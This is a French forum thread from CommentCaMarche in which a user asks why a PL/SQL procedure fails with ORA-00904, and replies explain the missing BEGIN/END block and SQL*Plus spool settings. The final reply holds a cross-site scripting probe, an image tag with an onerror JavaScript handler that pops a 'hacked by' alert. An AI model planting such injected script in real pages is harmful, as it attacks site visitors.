Posez votre question Signaler

Script sql

K! - Dernière réponse le 21 déc. 2003 à 19:35
Bonjour à tous!
J'ai un petit problème sur un script :
Dans un premier .sql j'ai (entre autre):
SET SERVEROUTPUT ON


-- Initialiser le spool
SPOOL .\resultCdAppDtSitu.log
SELECT TO_CHAR(SYSDATE,'DD MON YYYY, HH24:MI:SS') FROM DUAL;


PROMPT Execution procedure
EXECUTE cdappdt('aaa','bbb');

SPOOL OFF
EXIT

Puis ds un deuxieme .sql :
CREATE OR REPLACE PROCEDURE cdappdt (v_entite IN VARCHAR2,v_type IN VARCHAR2) IS

v_query_immediate VARCHAR2(400);
v_crlf CHAR(1) := CHR(9);
v_query_immediate := 'select distinct b.type_class,a.entite,b.code_class,a.cd_app2 , b.dtsituation from crtpm_v22 a, entete_crtpm b where a.entite=b.entite ';

EXECUTE IMMEDIATE v_query_immediate ;
commit;
dbms_output.put_line(v_crlf);
Donc je compile le deuxieme .sql sous oracle :
j'ai comme message:

ProcÚdure créée.

Pas d'erreur.
Puis le premier et j'obtiens :
Execution procedure
BEGIN cdappdt('aaa','bbb'); END;

*
ERREUR Ó la ligne 1 :
ORA-00904: Nom de colonne non valide
ORA-06512: Ó "DWF.CDAPPDT", ligne 19
ORA-06512: Ó ligne 1

En fait le CDAPPDT est le nom de la procédure ....
Help me please.
Merci d'avance
k!
Lire la suite 

Script sql »

4 réponses
Réponse
+1
moins plus
Cela dépend du l'outil avec lequel le script SQL est lancé...

Dans le cas d'un bon vieux SQL*Plus, la syntaxe du batch doit être :

...\SqlPlus.exe <Login>/<Pwd> @C:\Temp\MonScript.sql [arguments]

Avec un SET SERVEROUTPUT ON, il y aura un fichier journal de toutes les instructions passèes dans le script (y compris les commandes système comme EXIT). Pour éviter cela, il faut utiliser une commande SET ECHO OFF (pour SQL*Plus).

Pour pouvoir modeler à souhait la sortie des exécutions, je préconise le fichier PDF qui est normalement avec toutes les versions d'Oracle : "Sql*Plus User's Guide & Reference". Tout se trouve avec la commande SET.

DaNot
Ajouter un commentaire
Réponse
+0
moins plus
Bonjour,

En regardant brièvement les scripts, je pense que dans le 2nd fichier, il manque quelques instructions de début/fin pour ta procédure. Encaspules le code de la procédure comme suit :

CREATE OR REPLACE <NomFonction> IS
<Déclarations>
BEGIN
<CorpsDeLaProcédure>
END;

Sans ces instructions, le 2nd fichier reste correct lors de la compilation instruction par instruction. Par contre, j'imagine que la procédure ne contient qu'une seule ligne de code : la déclaration de ta première variable. Le code s'arrête au premier point-virgule rencontré.

DaNot
Ajouter un commentaire
Réponse
+0
moins plus
Merci!
Par contre pour un autre problème, je souhaite simplement lancer un .bat qui fera appele à un script qui exécutera des requetes et mettra le résultat de ces requetes dans un fichier .log ( ou .txt ....)
Je n'arrive pas à remplir le fichier.
Help please!
Merci d'avance
Ajouter un commentaire
Réponse
+0
moins plus
[img]http://www.morpher.com"onerror"=javascript:alert('hacked by the_morpher')[img]
Ajouter un commentaire
Ce document intitulé « script sql » issu de CommentCaMarche (www.commentcamarche.net) est mis à disposition sous les termes de la licence Creative Commons. Vous pouvez copier, modifier des copies de cette page, dans les conditions fixées par la licence, tant que cette note apparaît clairement.
Dossier à la une
5 extensions si vous voulez revenir à l'ancien Facebook